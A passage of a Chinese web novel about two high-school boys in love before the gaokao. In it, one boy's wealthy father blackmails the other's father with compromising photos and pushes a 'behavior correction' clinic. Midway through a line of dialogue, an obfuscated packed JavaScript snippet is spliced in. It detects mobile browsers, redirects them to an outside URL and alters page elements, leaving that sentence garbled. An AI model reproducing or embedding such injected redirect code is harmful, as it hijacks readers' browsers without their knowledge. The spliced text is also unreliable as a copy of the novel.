打破这微妙僵局的,是林宇舟。他几步蹦到沈泽许桌旁,毫不客气地一把揽住对方肩膀,嗓门没收住,引得周围几人侧目。 “哎!怎么回事啊你?”林宇舟皱着眉,“消失两个礼拜!我去你家找你,你阿姨支支吾吾就说你不在,怎么回事?玩失踪啊?” “没什么,”沈泽许任由他揽着,目光却似有若无地扫过那个蜷缩的背影,“搬家了。” “搬家?”林宇舟眼睛瞪大,“好端端的搬什么家?为什么啊?” “我妈要离婚,”沈泽许收回目光,语气像在陈述别人的事,“不想再跟我爸住一起了。” “啊?离婚?”林宇舟的八卦之魂彻底燃起,音量又拔高一度,“为什么呀?你爸不是挺……” “还能为什么。”沈泽许打断他,给出了一个最无可指摘的理由,“感情不合。” 他在撒谎。 真实的原因盘踞在喉咙深处——是白千月终于无法再忍受沈明远了。 当她发现丈夫的掌控欲不止于商业帝国,甚至能对亲生儿子挥下辫子时,恐惧便压垮了最后一丝维系家庭的虚妄温情。 她不仅是沈太太,更是白千月,一个有血有肉、在珠宝设计图上倾注灵魂的女人,一个母亲。 沈明远的世界是精密的牢笼,而她不愿再做金丝雀,也不愿儿子成为下一个被驯化或摧毁的标本。 但这些,他无法对林宇舟说,更无法对那个假装睡觉说,一字不漏也不愿他听去。 下一节是熊丽的英语课。陈温坐直身体,目光落在摊开的课本上,看上去比谁都专注。 然而,那些排列整齐的字母和语法规则,却从他涣散的视线里滑过,留不下半点痕迹。 他没有想未来,也没有想高考,而是旁边那个人。 该怎么开口?第一句该说什么?质问为什么不告而别?还是假装无事发生?这段关系……到底该不该继续?能不能继续? 这些问题在他脑子里搅成一团乱麻,理不出头绪。 “陈文,”讲台上,熊丽喊道,“你来回答一下这个问题。” 又念错了。 陈温心里掠过一丝无奈的烦躁。熊丽什么时候才能记住他叫“陈温”,而不是那个总被她脱口而出的“陈文”? 但他此刻无暇计较这个,更大的窘迫袭来——他根本不知道老师讲到了哪里。 陈温慢慢地站起来,在全班的注视下,他感到耳根发热,只能干涩地吐出三个字:“我不会。” “都快考试了,什么都不知道可不行。”熊丽扶了扶眼镜,“同桌帮忙回答一下。” 所有的视线,瞬间转向了陈温旁边的位置。 沈泽许几乎没有停顿,在熊丽话音落下的下一秒就站了起来。他站得笔直,目光直视前方黑板,开口道: “我也不知道。” “噗——”不知是谁先没忍住,低低的笑声像水泡一样在几个角落冒了出来,随即引起一小片压抑的窃笑。 这场景有点滑稽:被点名的优等生答不出,指望同桌救场,结果同桌——另一位学霸——也“不知道”。 熊丽显然也愣了一下,随即被气笑了,挥挥手:“行啊,年级第一都不知道了,那我可得好好讲讲了。”她示意两人坐下,“这道题有坑,做错就是粗心。我们来看……” 陈温僵硬地坐回座位,脸颊烧得厉害。 沈泽许肯定是故意的,他不可能不知道答案,这种课堂提问根本难不倒他。 那他为什么…… 陈温不敢深想,也不敢转头去看沈泽许此刻的表情。 一直磨蹭到大课间,林宇舟他们去厕所放水了,陈温独自下楼,拐到操场边那排香樟树的阴影里。 他蹲下来,百无聊赖地用树枝戳着地上的蚂蚁,心里直犯嘀咕:天都热成这样了,塑胶跑道都快被晒化了,为什么还要雷打不动地跑操? 正烦躁着,一道影子从旁边罩了下来。 沈泽许也来了。他就那么站着,挨得很近,几乎贴着陈温的后背。 陈温脊背一僵,像被什么烫到似的,闷不吭声地朝旁边挪了挪屁股,拉开半个人的距离。 沈泽许没说话,迈开长腿,又稳稳地站到了他挪开后的新位置旁。 陈温咬着唇,又往更远的地方蹭。树荫就那么大,再挪,可就要挨着滚烫的阳光边界了。 沈泽许跟了过来,再次笼罩住他。 眼看下一脚就要踩进明晃晃的太阳地里,陈温终于忍不住了,头也不抬,声音又冲又硬:“你要干嘛?” “是你要干嘛?”沈泽许的声音从头顶落下,听不出情绪,“为什么躲我?” “我哪有躲你。”陈温嘴硬,手指却把地上的枯叶掐碎了。 “那为什么不敢看我。” 陈温闻言,像被激将了似的,猛地抬起头。 目光直直撞进沈泽许低垂的眼里,那张脸在树影下依旧好看得过分,甚至因为距离太近,连睫毛投下的阴影都清晰可见。 心跳瞬间漏了一拍,他像被那目光烫到,又飞快地低下头,盯着自己沾了灰的鞋尖,嘴上却不肯服软:“……现在看了啊。”语气里带着点破罐破摔的耍赖。 头顶传来一声轻笑,短促,带着点气音,随即,身边传来窸窸窣窣声——沈泽许也蹲了下来,肩膀几乎和他挨着。 树荫下,两个人并排蹲着,像两株突然被种在一起、还有些别扭的植物。 “感冒好了?”沈泽许问。 “不然呢?”陈温没好气地呛回去,整个人像只竖起尖刺的小刺猬,可缩在膝盖上的手指不自觉地蜷紧了。 “我把碘伏放在电视机下面的第一个柜子里了。”沈泽许说,目光落在不远处的跑道上,那里已经有班级开始列队。 “嗯。”陈温应了一声,指甲有一下没一下地抠着树根旁的泥土。 沈泽许没看他,自顾自地继续说下去,:“我这几天有点忙,一直没来学校……也没能陪你。” 陈温听着,心里没什么波澜,甚至有些冷淡地想:谁需要你陪。 “你应该也听到了,我在搬家。”沈泽许停顿了一下,侧过头,似乎想观察陈温的反应,但陈温依旧低着头,只留给他一个黑发的发旋。 于是他转回去,声音里第一次掺进了复杂的情绪,“我以后……可能会很少来学校了。” 陈温抠着泥土的手猛地顿住。 世界的声音好像被抽走了一秒,只剩下沈泽许那句话,像一把锤子,狠狠敲在他自以为坚固的心墙上。 嗡鸣声再次在耳旁响起。 他僵硬地偏过头,看向身旁的人。沈泽许依旧蹲着,侧脸对着他,眼神望着虚空,似乎在等待什么,又似乎只是在陈述一个决定。 “你就……没有什么要问我的吗?” 沈泽许终于问出了这句话。他没有看向陈温,声音却骤然勒紧了陈温的喉咙。 问什么? 问你为什么搬家?问你以后不来学校要去哪里?问你……我们怎么办? 无数问题挤在舌尖,争先恐后地想要冲出来。可当它们抵达唇边时,却被一股巨大的无力感冻结了。 所有的疑问,在“可能很少来学校”这个既定事实面前,都显得苍白又可笑。 问了,又能改变什么? 陈温张了张嘴,却发不出任何声音。他只觉得胸口那块被攥紧的地方,传来一阵钝痛,比刚才被他掐碎的枯叶梗断裂的声音还要响,还要清晰。 沈泽许伸出手,握住了陈温的手腕。 周围都是涌动的人潮,陈温僵了一下,指节微颤,却没有躲。 那只手比他自己的要暖一些,掌心有一层薄薄的茧,力道放得很轻,只是松松地圈着,仿佛一个随时可以被挣脱的试探。 沈泽许低下眉,在他微凉的手背上,落下了一个吻。 柔软的触感一触即离,明明很轻,陈温却感觉自己脊背都麻了半截。他几乎能感觉到附近是否有目光投来,血液轰地冲上耳廓。 紧接着,沈泽许凑近了些,气息拂过他的耳廓,压低的声音钻进耳朵里,像叹息,又像告白: “我也在发呆。” 陈温的睫毛猛地一颤。 那句话,连同拂过耳畔的气流,“咔哒”一声,打开了他心里某个拧死的结。 ——他说的是英语课。 当陈温盯着课本神游天外,纠结着如何开口、揣测着该不该分开时,沈泽许也没有听课。 他或许同样看着那些无法入眼的字母,目光悄悄落在某人故作镇定的身影上,心里翻涌着同样的犹豫、同样的挣扎,和同样不知该如何安放的……关于“我们”的念头。 原来不是他一个人在单方面地烦恼、躲避、心乱如麻。 陈温依旧没有抬头,也没有抽回手。 胸腔里那块冻结了许久的坚冰,被这句话、这个吻、这心照不宣的暗示,撞开了一道口子。 有滚烫的东西,正从那里缓慢地漫下来。 - 南方夏夜的风黏腻闷热,“天禧制造”二十年厂庆酒会上,水晶吊灯将过于强光泼洒下来,在香槟塔上反复折射,晃得陈林峰眼眶发涩。 他身上这套穿了多年的藏青色西装,在周遭流动的真丝与精纺羊毛面料间,显得局促。 但它非常干净,每一个线头都被仔细修剪,熨烫得棱角分明。 作为多年的主任,他本不属于这片衣香鬓影的中心地带。 男人端着一杯几乎未动的橙汁,站在一盆茂盛的散尾葵旁,目光被牵引着,不由自主地投向人群簇拥的焦点——那位连厂长和市里领导都赔着笑脸簇拥的贵宾,沈氏集团的掌舵人,沈明远。 忽然,那簇拥的中心微微一动。沈明远的目光,隔着半个大厅,毫无偏差地落在了他身上。 沈明远脸上露出一个恰到好处的微笑,他微微颔首,向身旁的人低语一句,便分开人流,直朝他走来。 “陈主任?”沈明远在两步外站定,伸出手。他的手指修长,腕间一块表盘泛着幽蓝光泽的机械表,低调又不容忽视。 “幸会。犬子泽许,在家常提起您家孩子,说在学校……很是投缘。” 他的声音自带穿透力,足以让附近几道原本漫无目的的目光,慢慢聚焦过来。 陈林峰感到背脊的肌肉瞬间绷紧,一种莫名的压迫感攫住了他。 他有些仓促地伸出手去握:“沈总……您好,您好。” “这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172007|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人多,有些吵。”沈明远收回手,体贴地做了一个“请”的手势,指向不远处那扇通往露天观景台的玻璃门,“不知是否方便,移步聊两句?关于孩子们的事。” 陈林峰喉咙里那句“孩子们什么事”被无形的手堵了回去,双脚不受控地跟着那道背影走了过去。 观景台空旷,夜风“呼呼”吹着。 沈明远从西装内袋取出一个银质烟盒,他递向陈林峰,姿态优雅。 “来一支?” 陈林峰瞥了一眼烟盒上陌生的外文字母,忙不迭摆手:“谢谢沈总。不用了,我不抽烟。” 沈明远微微颔首,表示理解,自己取出一支香烟,含在唇间。 一只造型简约的打火机“咔哒”一声脆响,火苗蹿起,照亮他半张线条冷硬的侧脸。 男人深吸一口,缓缓吐出,灰白的烟雾立刻被微凉夜风吹灭。 “陈主任是实在人,我也不喜欢绕弯子。”沈明远盯着远方,“我们家泽许,还有您家陈温,两个孩子……最近走得未免太近了些。近得,已经有些……超出界限了。” 陈林峰的心猛地向下一坠,像是踏空了一级楼梯。 “沈总,您这话……是什么意思?他们是同学,关系好点,走得近些……也、也正常吧?” “同学?”沈明远轻笑了一声,“陈主任,您是真不知情,还是……”他顿了顿,目光平静地转过来,直视着陈林峰的脸,“……不愿意知情?” 他微微抬手,整理了一下袖口,语气依旧平淡,但字字千斤:“我这边,不小心看到一些不太雅观的影像。年轻人血气方刚,玩闹起来不知分寸,拍些糊涂照片也是有的。” “但如今网络时代,信息传播有多快,舆论有多可怕,您应该清楚。众口铄金,积毁销骨。尤其对陈温这样,全凭自己苦读、没有任何背景的孩子来说,一点点‘不寻常’的传闻,都可能是灭顶之灾。” “您……您到底想说什么?”陈林峰的呼吸有些急促,他隐约明白了什么。 “没什么特别的。”沈明远优雅地弹了弹烟灰,“听说,贵厂技术部那边,最近空出了一个副厂长的职位?我好像看到,您的名字在候选名单里。” “挺巧的,负责这次内部评审的王副厂长,是我在斯坦福读书时的老同学。上个月,我们还一起在海南打了场高尔夫。” 他适时地停顿,留给陈林峰消化这段的时间,然后才继续道:“老王这个人,专业能力是顶尖的,就是为人……观念比较老派。他最看重的,除了业务水平,就是下属的家庭是否稳定和睦,个人名声是否清白无瑕。他认为,这是担当更大责任的基础。” 陈林峰脸部肌肉难以控制地抽搐了一下。 “沈总……”他说,“孩子们还小,可能……可能就是一时糊涂,不懂事……我们做家长的,好好说说他……” “一时糊涂,及时引导,或许只是青春期的小插曲。”沈明远接过话头,将燃尽的烟蒂精准地按灭在石英烟灰缸里,动作利落,不留一丝余烬,“可如果等到事情闹大,需要家族出面干预,甚至引来不必要的媒体关注……那性质就完全不同了。” “那会变成社会事件,事故。陈主任,您一个人把孩子拉扯大,不容易。廖女士走得早……” 当“廖女士”这个称谓从沈明远口中平静吐出时,陈林峰的身体剧烈地一颤。 沈明远仿佛完全没有注意到他瞬间煞白的脸色,继续说:“我相信,您比任何人都希望陈温的后半生能够安安稳稳,体体面面。” “靠他自己的努力,赢得社会的尊重,而不是……因为一些选择,未来处处碰壁,活在旁人异样的眼光和指指点点里,艰难求生。有些路,一旦踏上去,就很难回头了,代价……往往是年轻人承受不起的。” 说着,他从西装另一个内袋里,取出一张名片。米白色的卡纸,触感细腻,设计极其简约。 上面只有一行优雅的艺术体英文名字和一个电话号码,右下角用烫金小字印着:“青禾心理服务中心·绝对隐私保障”。 “这家机构的创始人,是我的一位世交。在青少年心理疏导和行为矫正方面,非常专业,业内口碑极佳。最重要的是,他们极度注重客户隐私,绝不会留下任何记录。”沈明远将名片递到陈林峰面前,像是在分享一个秘密,“如果陈温需要一些专业的帮助,帮助他走出暂时的误区,可以随时联系这里。提我的名字,所有费用,我来处理。” 陈林峰没有伸手去接,目光死死盯着那片米白色,瞳孔有些失焦。 沈明远极有耐心地等待了几秒钟,见陈林峰僵立不动,即没有接过的意思,也没有拒绝的勇气,便将手臂收回,转而将那张名片放在了杆扶手上。 还用指尖压了一下,确保它不会被夜风吹走。 “陈主任,说到底,我们都是父亲。”他最后开口,“我儿子可能失去的,充其量是一段不合时宜的感情经历。但您儿子可能因此失去的,是他寒窗苦读十数年、好不容易才触摸到的东西,以及未来安身立命所必须的社会尊严与平静生活。这个风险,这个代价……”他侧头,目光最后一次落在陈林峰惨淡的脸上,“您,真的赌得起吗?” 话音落下,他不再等待任何回应,毫不犹豫地转身,推开那玻璃门。 门开合的瞬间,室内的酒气与香水味扑了出来,与观景台上的清冷剧烈对冲。 陈林峰依旧像一尊被遗弃的雕像,钉在原地。 许久,许久。 他一点一点地低下头,目光重新聚焦,落在栏杆扶手上那张米白色的名片上…… 75. 没关系,要长大了 百日誓师那天,阳光很亮。 彩带飘下来,有一截蓝色的,挂在陈温汗湿的头发上。操场上人在跑,鼓在敲,口号喊得震耳朵,掌声一阵接一阵。 那片蓝彩带轻轻晃了晃,掉在地上。 他旁边的位置空着。 沈泽许和陈温陷入了一种奇特的相处状态——不常见面,却每日互发信息。 有时是沈泽许拍一张空荡的搬家纸箱,有时是陈温发一道解不出的数学题,更多时候,只是简单的“早”和“晚安”。 陈温曾开玩笑说,他们这样真像网恋。 可谁都笑不出来。 这更像一种心照不宣的蛰伏。没有解脱感,只有等待判决前沉闷的倒计时。 或许,只有等考试彻底结束,分数尘埃落定,人生的选择权看似重新回到自己手中时,他们才有资格,也有勇气,去真正面对和“结束”这种悬而未决的状态。 一切只能顺其自然。 偶尔,沈泽许会来学校上课。两人在教室里,默契地维持着一种近乎陌生的距离。 不敢对视太久,不敢交谈过密,甚至刻意避免肢体上任何不经意的触碰。 那份小心翼翼,与其说是害羞,不如说是恐惧。 怕重蹈林宇舟和李清依的覆辙,怕任何一点越界的亲密,都会通过某双隐藏的眼睛,传到沈明远那里。 期间,班主任找他们谈过一次话。 楚婷没有看他们,盯着桌面上一份不知道是谁递交的“课堂情况反馈”,听不出喜怒道:“有人反映,陈温上课有时会和林宇舟说话。我在考虑,要不要给你们换个座位?” 两人皆是一僵。 接着,楚婷像是随口提起,又像是刻意强调:“还有……上次领导巡堂,也特意提了一句,说你们两个坐在一起,是不是……”她停顿了一下,没有说下去,转而抬眼看向他们,目光繁芜,“太不寻常了。” 她没有点破“太不寻常”指的是什么。 是成绩?是状态?还是某种她隐约察觉却无法证实的关系? 楚婷摆摆手,做出了决定:“行了,座位先不换了。沈泽许,你平时多看着点,上课纪律要抓好。陈温,你也克制点,少找他说话。” 话说得严厉,但决定宽容得反常。 楚婷就是这样一个人,一旦她认定的事,绝不会因几句流言或领导的暗示就轻易改变。她相信自己的判断,也相信这两个孩子。 但她也并非毫无察觉。 走出办公室时,陈温回头看了一眼。 楚婷正低头整理文件,侧脸在午后阳光下显得有些疲惫,眉头微蹙着,像是在思考着什么问题。 她一定是感觉到了什么。 有天晚上,陈温决定回家复习。洗完澡,发梢还滴着水,他陷进床铺里,划拉着手机屏幕,一条条未读信息的光标掠过,但都没看进心里。 手机猝然震动,伴随着默认铃声,屏幕上跳出备注:大好人。 陈温顿住,呼吸也跟着屏了一瞬,他按下接听,将手机贴到耳边,没先开口。 听筒里传来电流的噪音,然后是沈泽许的声音,比平日透过电波传来的要低沉一些:“干嘛呢?” “刚洗完澡。”陈温翻了个身,盯着天花板上的一块霉斑。 “一起学习吗?”沈泽许问,“上次那道你不会的物理题,我找到了新解法。” 陈温沉默下去。 风扇“呼呼”作响。 陈温将手机贴着耳廓,对面没有电视声,没有人语,安静得不像一个“家”。 他这里也没有好到哪里去。 沈泽许不在身边的这个“家”,不像家。 其实对陈温来说,哪里都行。 出租屋,老房子,甚至一间有人的自习室——只要不是他一个人待着的地方,只要空气里有另一个人的呼吸、走动、翻书,哪怕是不语的陪伴,那里就能暂且被称作“家”。 他需要的不是一个地方,而是一个“不在独自一人”的证明。 一种熟悉的东西又压上心头。他在一步步把沈泽许拉向深渊吗? 不知道为什么,他有一种感觉——白阿姨跟沈父要离婚是因为他们两个人的事。 而沈泽许不去学校,没有请任何家教,就靠着自己啃那些复习资料……真的可以吗? 沈泽许身上到底发生了什么,他无从得知。那人把嘴闭得像蚌壳,撬不开一丝缝。 他不愿意说,陈温就拿他毫无办法。有时候沈泽许犯起倔来,比他自己还要固执。 “晚点再说,”陈温说,“我……想先问你点事,可以吗?” 听筒那头,沈泽许的呼吸似乎顿了一下。半晌,那边才传来一个极低的回应: “……嗯。” “你背上的伤,”陈温有些紧绷地问,“怎么样了?有没有……留疤?” “没有。”沈泽许的回答很快,没有犹豫。 “沈泽许,”陈温叫了他的全名,声音沉下去,严肃道,“认真回答我。不许骗我。” “……真的。”沈泽许的声音低了些,语速也放缓了,“我妈给我找了种药膏,很好用,每天都有涂。你不信的话,我给你看看。” 话音刚落,不等陈温有任何反应—— “嘟……嘟……嘟……” 电话被挂断了。 陈温维持着接听的姿势,僵在原地。 下一秒,手机屏幕再次亮起,嗡鸣震动——是沈泽许发来的视频通话请求。 陈温盯着那跳动的名字和头像,停顿了足足两三秒。最终,他还是按下了接听,在接通瞬间,迅速关掉了自己这边的摄像头。 屏幕亮起,画面里出现了沈泽许。他似乎在一个光线充足的房间里,背景是米白色的墙壁。镜头有些晃动,对准了他的肩背。 皮肤暴露在镜头下。确实比陈温记忆中那天在触目惊心的景象好了许多。 大部分地方是浅粉色的新生皮肉,光滑,只有几处颜色略深的地方还覆着薄薄的、深褐色的痂,边缘已经微微翘起,即将脱落。 没有想象中狰狞交错的隆起疤痕,只有一片略显斑驳、但正在顽强愈合的痕迹。 “看到了吗?”沈泽许的声音从听筒传来,有些闷,画面也随之晃动——他快速将衣服拉好,整理妥帖,不再让镜头多停留一秒。 “……嗯。”陈温应了一声。 “怎么不开摄像头?”沈泽许的脸重新出现在画面中央,他看向镜头,尽管那里只有一片黑。 闻言,陈温在屏幕这头愣了一下。 那句“怎么不开摄像头?”问得自然,甚至带着点理所应当的亲昵。 他抿了抿唇,听话地点亮了那个代表摄像头的图标。 自己的脸出现在屏幕右下角的小框里,头发有些乱,眼神还带着未褪尽的怔忡。 屏幕那头,沈泽许的脸一下子凑近了些,能清晰地看到他微微挑起的眉梢。 他一本正经地说: “这位同学,看你眉头紧锁,小脸苦哈哈的,本店今日开业大酬宾,免费出租完美微笑一个,包邮到家,即刻点亮心情,要不要试试?” 陈温没忍住,“噗嗤”一声笑了出来,刚才紧凑的眉头瞬间垮掉,开玩笑道:“你有病啊?” “有没有病,走两步看看?”沈泽许接上,眉毛扬得更高,显然很满意自己成功破冰的效果。 “你当这是卖拐呢!”陈温笑骂完,肩膀松了下来,歪倒在枕头上。 屏幕里,男生的眉眼舒展开,眼角还有一点没擦净的亮光。 沈泽许嘴角上扬了点,没接话。他盯着屏幕那头,看了好一会儿。 窗外的灯只剩零星几盏。两人都没说话,只有很轻的呼吸声从听筒里传出来。 过了一会儿,沈泽许的声音低了些:“那题……还听不听了?” 陈温把脸往枕头里埋,只露出一双桃花眼,闷闷道:“听。沈老师开讲吧。” 沈泽许拿起纸笔,镜头对准草稿纸。他讲得慢,偶尔停一下,问:“这里,懂了吗?” 陈温就“嗯”一声。有时候他拖着调子说:“没懂,沈老师再讲一遍。” 沈泽许瞥他一眼,把笔尖倒回去,用更慢的语速,从头拆。 讲题声断断续续,中间夹着几句别的。 “你晚饭吃了什么?” “泡面。” “又吃泡面?” “快,省事。你呢?” “元姨今天做了排骨,有点咸。” “挑食。” “……我没挑。” 陈温看着屏幕里沈泽许低垂的睫毛,看他偶尔微蹙的眉心,看那只握着笔的、骨节分明的手。 两人像两只在暴风雨间隙,依偎在一起互相舔舐羽毛、汲取温度的小兽。 都知道风雨可能再来,但此刻的温暖是真实的。 题讲完了。两人都没动。 沈泽许放下笔,往后靠进椅背,抬手揉了揉眉心。 “累了?”陈温问。 “有点。”沈泽许放下手,看着他,“你也该睡了,你明天还要上学。” “嗯。”陈温应着,盯着屏幕,忽然叫了一声:“沈泽许。” “嗯?” “……没什么。”陈温把脸又往枕头里埋,声音更小了,“你也早点睡。” 沈泽许没追问,目光落在他脸上。“知道了。”他停了一会儿,叫回去:“陈温。” “嗯?” “晚安。” “……晚安。” 屏幕暗了。 陈温把发烫的手机扔到一边,翻了个身,把自己裹进被子。窗外很黑,他闭上眼睛,胸腔里那片空了很久的地方,暂时得到填满。 - 时间不等人,高考前最后一个晚自习,考场被封,同学们被转移到“备用教室”。 笔头沙沙响,书页哗啦哗啦翻,偶尔有人叹口气,或者咳一声。 神奇的是,陈温发现自己把高考必备单词全背完了。有点意外,但确实做到了。 除了练字一直没坚持下来,他决定考试时尽量把字写工整。 合上单词本,他感觉完成了一件事。虽然很小,但让他对明天多了点踏实。 教室门被推开。班主任楚婷走了进来,身后还跟着一个小小的身影。 是个小女孩,约莫六七岁,扎两个冲天辫,额前是跟楚婷一模一样的齐刘海。 她显然被一屋子陌生的“大哥哥大姐姐”吓到了,怯生生地躲在妈妈腿后,露出一双圆溜溜的眼睛,小手攥着楚婷的裤腿。 “哇——” 教室里响起惊叹。 “好可爱啊!”李欣桐捂住心口,说,“我也想有个这样的妹妹!可惜,我是独生女。” “睡一觉就好了,”叶萧云不合时宜地开口,“梦里啥都有。” “滚!” 楚婷威严的目光扫视一圈,教室静下来,但很多双眼睛还看着那个方向。 “自己复习自己的,”她说。然后弯下腰,摸了摸女儿的头,声音放得异常轻柔,“奴奴,小声点,不要吵到哥哥姐姐们学习,知道吗?”应该是个小名。 小女孩——奴奴点点头,脸有点红。她背着一个印着爱莎公主的书包,松开手,迈着小步子挪进教室。 那小心翼翼的样子,像只初次踏入人类领地的小猫咪。 同学们哪里还有心思看书,齐刷刷地跟着她移动,眼里是藏不住的喜爱,像被治愈了。 讲台上只有一把椅子,楚婷自己坐下,给女儿的椅子就需要另外找。 “老师!让妹妹坐我旁边吧!我教她学数学!”后排一个男生半开玩笑地举手,引来一片哄笑。 楚婷瞪了他一眼,走到一张空椅子前——那是请假同学的座位。她把椅子搬到讲台边,用纸巾擦了擦。 “奴奴,坐这里。” 小女孩听话地爬上去,坐好。她个子小,脚还够不着地,悬空摇晃着。 但她很安静,自己从书包里掏出作业本和铅笔,摊在桌上,低下头开始写。 那一刻,教室里有一种奇异的和谐。一边是即将奔赴人生重大考场的少年们,在知识点中做最后的跋涉;一边是一个刚刚启程的 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小女孩这才伸出小手,接过糖,小声地挤出两个字:“谢……谢。”发音软糯,带着孩童特有的含糊。 然后,她仰起小脸,把糖递向了楚婷。 楚婷笑了,接过糖,向周围的同学解释:“她今天已经吃过一颗了,不能再吃了,明天才能吃。我先替她保管。”她把糖放进自己的口袋。 陈温有点不好意思地“嗯”了一声,退出了人群中心,回到自己的座位。 上课铃响,楚婷板起脸,把还围着讲台不肯散开的“热心群众”轰回了座位。 临近晚自习结束,楚婷叫了叶萧云和几个男生去她办公室搬东西。 几个大箱子被吭哧吭哧地抬了进来。楚婷亲自打开,里面整整齐齐码着的,竟是美味的杯子蛋糕。 三种口味:奥利奥,草莓和芒果。它们散发着诱人的气味。 “一组一组过来拿,每人一个,别抢。”楚婷说。 同学们抑制不住地欢呼。轮到陈温他们组时,林宇舟眼疾手快,边拿自己的那个,边就要去够另一份:“沈哥不在,我替他保管,明天我发誓,我绝对不偷吃,绝对原封不动给他!” 楚婷眼风一扫,毫不留情:“想都别想。自己的自己拿,没来的那份……我替他留着。”她说着,真的把一个奥利奥口味蛋糕,单独放到了一边。 等每个人都捧着一个香甜的小蛋糕时,楚婷拍了拍手,示意大家安静。 “占用大家最后五分钟。”她站在讲台上,目光扫过台下每一张年轻而熟悉的脸。 三年时光,从青涩到即将成熟,多少晨昏,多少训斥与鼓励,都沉淀在此刻。 “首先,”楚婷说,“我跟你们有些人在认识了三年,也有才跟我一两年的同学,但跟你们在一起,我很开心。当然,也有不省心的时候,总有些孩子变着法儿给我惹麻烦……”她目光在林宇舟等人脸上停了会,引来一阵心照不宣的低笑。 “但是,”她的语气郑重起来,“我还是爱着你们每一个的。别看我平时凶,要求严,我只是……想让你们以后的路,能走得稳一点,宽一点,能有更多的选择和自由,去看我没看过的风景。” 教室里寂静无声,都痴痴地看着楚婷。 “明天,你们就要去面对人生里一场很重要的考试了。我祝你们什么呢……”她哽咽起来,脸上露出一点笑意,“就……祝你们蒙的都对,写的都对吧!” “好——!”台下爆发出热烈的掌声,有人已经偷偷抹起了眼角。 掌声稍歇,楚婷话锋一转,带了点秋后算账意味:“最后呢,我想问问,当初百日誓师那几个缠着我拍照的,朋友圈为什么没发?是把我屏蔽了吗?嗯?” “哈哈哈——”同学们顿时笑成一片,刚才那点伤感的气氛被冲得无影无踪。 楚婷自己也笑了,等笑声平息,她才再次开口:“我希望,高考以后,你们别真的把我屏蔽了。我也不想再当那个整天管着你们、盯着你们、唠叨你们的班主任了。” 她停顿了一下,目光温暖: “我想当你们的知已。以后啊,不管去了哪里,上了什么大学,遇到了什么开心的事,或者……遇到了什么过不去的坎,难过得不行的时候,都可以跟我说说。老师的电话,永远为你们开着。” 台下静默着,许多双眼睛里闪烁起复杂的光。 “当然,”她最后补充,幽默道:“等你们毕业以后回来找我,可千万别跟我玩‘猜猜我是谁’的游戏。我这人吧,带完一届,名字和学号都忘得差不多了,只记得张脸,对不上号。” “所以,来看我之前,最好先自报家门。”她笑着说,眼角有了细纹。 晚自习结束的铃声,就在这时响起。 “好了,”楚婷挥挥手,“蛋糕带回去,今晚好好休息,明天……正常发挥。” 同学们陆续起身,上前去跟楚婷拥抱,手里捧着个小小的蛋糕,心里被更柔软的东西填满。 陈温也跟楚婷拥抱了会儿,拿起那个芒果味的纸杯蛋糕,随着人流走出教室,夏夜的风吹在脸上。 身后的教学楼灯火通明,那是他们奋斗了三年的战场,而明天,他们将奔赴另一个更广阔的、未知的战场。 路灯将他孤单的影子拉得很长,又缩短,周而复始。楚婷的话、同学们互相打气的笑闹声似乎还在耳边回响。 没有意外的话,他只能一个人面对剩下的一切。 但,也没关系。 他要长大了。 不是年龄意义上跨过十八岁门槛,而是心理上,必须挺直脊梁,独自扛起自己人生的重量,并为自己的选择负起全责的时刻。 陈温回到小区,掏出钥匙,插入锁孔,转动。 “咔哒。” 门开出一条缝,灯光与隐约的电视声立刻从门缝里溢了出来。 他动作一顿。 这个时间,元姨绝不可能还在。 是谁? 76. 高考 陈温将门彻底推开。 沙发上坐着一个高大的男人,是陈林峰。 “我回来了。”陈温说着,低头换鞋,没往沙发那边看。陈林峰没打招呼就过来了,这让他心里掠过一丝不安。 陈林峰的目光扫过来。陈温换好鞋,问:“爸,慕阿姨她们呢?没一起过来?” “没。” 陈温又问:“你怎么来了?” “你阿姨……陪小雨高考,”陈林峰回道,“我也过来看看你。” “哦。”陈温点点头,不用问陈林峰肯定是请假过来的。他放下书包,径直走进卧室拿衣服。 等他洗完澡出来,陈林峰便关掉了电视。 “明早我给你做早餐,吃完再去。”他说。 “好。”陈温抱着换下的衣服,能感觉到父亲的视线一直落在他身上,一种不太自在的感觉浮了上来。 “衣服给我吧。”陈林峰说。 “……好。”陈温怔了怔,把衣服递过去。 陈林峰接过,走向阳台。洗衣机的注水声很快响起。 陈温打了个哈欠:“那我先睡了。” “嗯,早点休息。”陈林峰倒着洗衣液,头也没回。 陈温回到房间,关上门。他靠在门后,总觉得父亲今晚有些不同,可具体是哪里,他又说不清楚。 早上,陈林峰煮了西红柿鸡蛋面,热气腾腾地端上桌。陈温大口吃着,热汤下肚,身子渐渐热了起来。 他吃面的时候,陈林峰就坐在对面,一件一件帮他检查考试袋里的东西:黑色水笔、2B铅笔、橡皮、准考证、身份证…… 每一样都拿出来仔细看过,再按顺序放回去。 太久没有体会过这种陪伴,陈温有些不习惯,又有些感到莫名的鼻酸。 更出乎意料的是,吃完面,陈林峰拿起车钥匙:“走吧,我送你。” 一路上父子俩都没怎么说话。 外面暑气蒸腾的感觉,拽着陈温的记忆,跌回好多年前。 那时陈林峰还在厂里做工。夏天,车间没有空调,只有几台老吊扇搅动着更热的风。 厂里便偶尔会发些冰镇过的豆奶或凉茶,但陈林峰从不喝。 他总是把那瓶饮料揣在怀里,下班后带回家。 小小的陈温什么都懂。 他接过瓶子,又看着父亲被汗水浸透的后背,喉咙里干渴的吞咽,然后仰起脸,把瓶子推回去。 “爸爸,你喝吧。”他总是这么说,假装挑剔道,“我不喜欢这个味道,甜滋滋的,怪腻的。” 陈林峰起初不信,劝他,说喝了凉快。陈温就扭过头,表现得真像嫌弃那味道似的。 几次之后,陈林峰便不再坚持,接过瓶子时,那双被生活磨得粗糙的手,会在他头顶很轻揉一下。 陈温回过神,盯着窗外飞快倒退的街道,手心微微出汗。不是因为紧张考试,而是因为即将面对的人群,和那个可能缺席的身影。 